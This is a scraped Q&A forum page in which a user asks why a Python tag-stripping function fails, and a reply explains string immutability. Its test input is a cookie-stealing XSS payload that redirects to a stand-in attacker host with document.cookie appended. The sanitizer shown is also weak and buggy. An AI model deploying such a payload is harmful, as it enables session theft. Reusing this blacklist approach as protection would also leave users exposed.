Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
340 views
in Technique[技术] by (71.8m points)

python - Why is function not working? Trying to replace words in string

I am trying to replace some key words in a string. Here is my function:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

and here is my other code and the string:

string1 = "This blog is STUPID! >
" 
"<script>document.location='http://some_attacker/cookie.cgi?"
" +document.cookie </script>"


print '
string1 cleaned of code' 
print '------------------------'
print clean_code(string1)

My output is as follows, and I'm not sure why nothing has changed

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
See Question&Answers more detail:os

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)

Python strings are immutable:

input = input.replace('<script>', " ")
input = ...

See replace documentation:

Return a copy of string str with all occurrences of substring old replaced by new.


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...